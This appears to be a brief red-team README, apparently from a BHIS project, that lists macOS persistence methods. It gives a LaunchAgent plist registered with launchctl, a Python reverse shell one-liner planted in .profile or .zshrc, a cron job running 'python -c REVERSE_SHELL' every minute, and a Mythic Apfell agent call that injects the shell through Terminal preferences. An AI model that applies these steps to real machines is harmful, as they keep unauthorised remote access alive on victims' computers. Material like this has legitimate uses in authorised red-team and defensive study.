LaunchAgent
- Copy persist_launch_agent.plist to
~/Library/LaunchAgents/com.BHIS.user.plist - Register it with
launchctl load -w ~/Library/LaunchAgents/com.BHIS.user.plist
ZSH/Bash Profile
- Add the Python Reverse Shell One-Liner to any of the shell source files in the home directory (
.profile,.zshrc)
Cron Job
- Execute the following using the Python Reverse Shell One-Liner
echo "* * * * * python -c REVERSE_SHELL" | crontab
Terminal Preferences
- Pass the Python Reverse Shell One-Linerto TermPref.js:
- In Mythic (Apfell agent):
jsimport_call TermPref(REVERSE_SHELL)
- In Mythic (Apfell agent):